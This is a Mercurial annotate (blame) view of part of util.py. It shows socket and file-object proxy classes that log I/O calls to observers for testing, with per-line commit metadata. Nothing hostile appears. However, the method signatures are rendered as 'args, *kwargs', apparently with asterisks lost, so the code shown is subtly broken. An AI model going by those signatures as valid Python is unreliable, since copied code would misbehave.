43103 c95b2f40db7c py3: stop normalizing 2nd argument of attr() to unicode Gregory Szorc <gregory.szorc@gmail.com>* parents: 43090 diff changeset	624 fn = getattr(self._input._observer, 'osread', None)
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	625 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	626 fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	627
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	628 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	629
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	630 # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	631 # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	632 def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	633 res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	634
43103 c95b2f40db7c py3: stop normalizing 2nd argument of attr() to unicode Gregory Szorc <gregory.szorc@gmail.com>* parents: 43090 diff changeset	635 fn = getattr(self._input._observer, 'bufferedread', None)
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	636 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	637 fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	638
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	639 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	640
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	641 def readline(self, args, *kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	642 res = super(observedbufferedinputpipe, self).readline(args, *kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	643
43103 c95b2f40db7c py3: stop normalizing 2nd argument of attr() to unicode Gregory Szorc <gregory.szorc@gmail.com>* parents: 43090 diff changeset	644 fn = getattr(self._input._observer, 'bufferedreadline', None)
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	645 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	646 fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	647
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	648 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	649
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	650
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	651 PROXIED_SOCKET_METHODS = {
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	652 'makefile',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	653 'recv',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	654 'recvfrom',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	655 'recvfrom_into',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	656 'recv_into',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	657 'send',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	658 'sendall',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	659 'sendto',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	660 'setblocking',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	661 'settimeout',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	662 'gettimeout',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	663 'setsockopt',
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	664 }
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	665
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	666
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	667 class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	668 """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	669
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	670 This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	671
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	672 This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	673 before using it in important code.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	674 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	675
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	676 __slots__ = (
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	677 '_orig',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	678 '_observer',
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	679 )
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	680
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	681 def __init__(self, sock, observer):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	682 object.__setattr__(self, '_orig', sock)
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	683 object.__setattr__(self, '_observer', observer)
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	684
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	685 def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	686 if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	687 return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	688
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	689 return getattr(object.__getattribute__(self, '_orig'), name)
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	690
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	691 def __delattr__(self, name):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	692 return delattr(object.__getattribute__(self, '_orig'), name)
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	693
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	694 def __setattr__(self, name, value):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	695 return setattr(object.__getattribute__(self, '_orig'), name, value)
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	696
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	697 def __nonzero__(self):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	698 return bool(object.__getattribute__(self, '_orig'))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	699
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	700 __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	701
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	702 def _observedcall(self, name, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	703 # Call the original object.
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	704 orig = object.__getattribute__(self, '_orig')
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	705 res = getattr(orig, name)(args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	706
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	707 # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	708 # so it can react, log, etc.
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	709 observer = object.__getattribute__(self, '_observer')
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	710 fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	711 if fn:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	712 fn(res, args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	713
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	714 return res
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	715
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	716 def makefile(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	717 res = object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	718 'makefile', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	719 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	720
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	721 # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	722 # proxy using our observer.
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	723 observer = object.__getattribute__(self, '_observer')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	724 return makeloggingfileobject(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	725 observer.fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	726 res,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	727 observer.name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	728 reads=observer.reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	729 writes=observer.writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	730 logdata=observer.logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	731 logdataapis=observer.logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	732 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	733
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	734 def recv(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	735 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	736 'recv', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	737 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	738
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	739 def recvfrom(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	740 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	741 'recvfrom', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	742 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	743
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	744 def recvfrom_into(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	745 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	746 'recvfrom_into', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	747 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	748
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	749 def recv_into(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	750 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	751 'recv_info', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	752 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	753
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	754 def send(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	755 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	756 'send', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	757 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	758
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	759 def sendall(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	760 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	761 'sendall', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	762 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	763
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	764 def sendto(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	765 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	766 'sendto', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	767 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	768
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	769 def setblocking(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	770 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	771 'setblocking', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	772 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	773
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	774 def settimeout(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	775 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	776 'settimeout', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	777 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	778
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	779 def gettimeout(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	780 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	781 'gettimeout', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	782 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	783
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	784 def setsockopt(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	785 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	786 'setsockopt', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	787 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	788
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	789
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	790 class baseproxyobserver(object):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	791 def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	792 if not self.logdata:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	793 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	794 self.fh.write(b'\n')
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	795 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	796 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	797
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	798 # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	799 if b'\n' not in data:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	800 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	801 self.fh.write(b': %s\n' % stringutil.escapestr(data))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	802 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	803 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	804 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	805 )
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	806 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	807 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	808
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	809 # Data with newlines is written to multiple lines.
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	810 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	811 self.fh.write(b':\n')
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	812
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	813 lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	814 for line in lines:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	815 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	816 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	817 )
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	818 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	819
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	820
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	821 class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	822 """Logs file object activity."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	823
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	824 def __init__(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	825 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	826 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	827 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	828 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	829 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	830 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	831 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	832 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	833
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	834 def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	835 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	836 return
